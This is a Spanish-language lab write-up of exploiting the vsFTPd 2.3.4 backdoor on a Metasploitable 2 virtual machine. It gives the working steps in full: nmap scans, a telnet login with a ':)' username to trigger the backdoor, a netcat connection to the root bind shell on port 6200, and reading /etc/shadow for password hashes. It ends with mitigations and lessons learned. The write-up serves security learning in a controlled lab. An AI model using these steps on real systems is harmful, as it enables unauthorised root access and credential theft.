Metasploitable 2 - Laboratorio de Explotación de vsFTPd 2.3.4

Resumen

Este proyecto demuestra un flujo de trabajo de pruebas de penetración contra una máquina deliberadamente vulnerable, Metasploitable 2. El objetivo fue identificar, explotar y analizar una vulnerabilidad conocida en el servicio FTP, logrando finalmente acceso a nivel root y evaluando el impacto en la seguridad.

Configuración del laboratorio

• Máquina atacante: Ubuntu (Máquina virtual)
• Máquina objetivo: Metasploitable 2 (Máquina virtual)
• Configuración de red: Red solo anfitrión (192.168.56.0/24)

Verificación del objetivo

Se verificó el sistema objetivo y su configuración de red:

whoami
hostname
ifconfig

Verificación de conectividad

Se confirmó la conectividad de red entre atacante y objetivo:

ping 192.168.56.101

Objetivos

• Realizar reconocimiento de red
• Identificar servicios expuestos
• Detectar software vulnerable
• Explotar una vulnerabilidad de puerta trasera conocida
• Obtener acceso root
• Realizar análisis posterior a la explotación

Herramientas utilizadas

• Nmap
• Telnet
• Netcat
• Linux (Máquina virtual Ubuntu)

Resumen del flujo de ataque

1. Se verificó la configuración y conectividad del objetivo
2. Se descubrió el host objetivo en la red local
3. Se identificaron puertos abiertos y servicios expuestos
4. Se detectó el servicio FTP vulnerable (vsFTPd 2.3.4)
5. Se activó la puerta trasera mediante un inicio de sesión FTP manipulado
6. Se obtuvo acceso root a través de una shell vinculada
7. Se realizó enumeración posterior a la explotación

Reconocimiento

Se realizó descubrimiento de hosts:

nmap -sn 192.168.56.0/24

Se identificaron hosts activos en la red.

Escaneo de puertos

nmap 192.168.56.101

Se descubrieron múltiples puertos abiertos, incluyendo:

• 21 (FTP)
• 22 (SSH)
• 23 (Telnet)
• 80 (HTTP)
• 445 (SMB)

Enumeración de servicios

nmap -sV 192.168.56.101

Se identificó el servicio FTP en ejecución:

vsFTPd 2.3.4

Un escaneo completo de servicios y basado en scripts se incluye en los archivos de soporte: Salida del escaneo Nmap.

Identificación de vulnerabilidad

El servicio FTP estaba ejecutando una versión vulnerable conocida:

vsFTPd 2.3.4

Esta versión de vsFTPd fue distribuida con una puerta trasera maliciosa que se activa cuando se utiliza un nombre de usuario que contiene :) durante la autenticación. Al activarse, el servicio abre una shell vinculada en el puerto 6200, permitiendo acceso remoto no autorizado.

Explotación (Manual)

Se activó la puerta trasera usando Telnet:

telnet 192.168.56.101 21

USER test:)
PASS test

Acceso a la shell

Se conectó a la puerta trasera usando Netcat:

nc 192.168.56.101 6200

Resultado

whoami

root

Acceso root obtenido exitosamente

Post-explotación

Después de obtener acceso root, se realizó una enumeración básica del sistema:

cat /etc/passwd
cat /etc/shadow

• Se enumeraron usuarios del sistema y cuentas de servicio
• Se recuperaron credenciales hash de /etc/shadow
• Se demostró acceso a archivos sensibles del sistema

Impacto

• Compromiso total del sistema (acceso a nivel root)
• Capacidad de ejecutar comandos arbitrarios
• Exposición de datos de credenciales sensibles
• Potencial para movimiento lateral dentro de una red

Mitigación

• Eliminar o deshabilitar el servicio FTP si no es necesario
• Actualizar el software vulnerable a versiones seguras
• Reemplazar protocolos inseguros (como FTP sin cifrar) con alternativas seguras (SFTP)
• Restringir el acceso a servicios críticos mediante reglas de firewall
• Implementar registro y monitoreo
• Aplicar políticas de autenticación sólidas

Archivos de soporte

• Salida del escaneo Nmap

Conclusión clave

Este laboratorio demuestra cómo un solo servicio vulnerable puede llevar a un compromiso total del sistema. Destaca la importancia de una configuración adecuada de servicios, la gestión de parches y minimizar las superficies de ataque expuestas.

Lo que aprendí

Esta fue mi primera vez explotando manualmente una puerta trasera del mundo real. Aprendí cómo una sola cadena de nombre de usuario maliciosa (:)) puede desencadenar acceso a nivel root, lo que reforzó por qué la enumeración de servicios y la detección de versiones son tan importantes en el reconocimiento. También me familiaricé más con comandos básicos de post-explotación en Linux, como leer /etc/shadow y entender cómo se ven realmente las credenciales hash.

Limitaciones

Este fue un entorno de laboratorio controlado utilizando Metasploitable 2, una máquina intencionalmente vulnerable. La puerta trasera de vsFTPd 2.3.4 es un CVE conocido (CVE-2011-2523) de 2011, por lo que esto no refleja un compromiso moderno del mundo real. En una evaluación real, se necesitarían pasos adicionales como evasión, omisión de registros o pivoteo. Este proyecto se centró en comprender los mecanismos básicos de explotación, no en una prueba de penetración completa.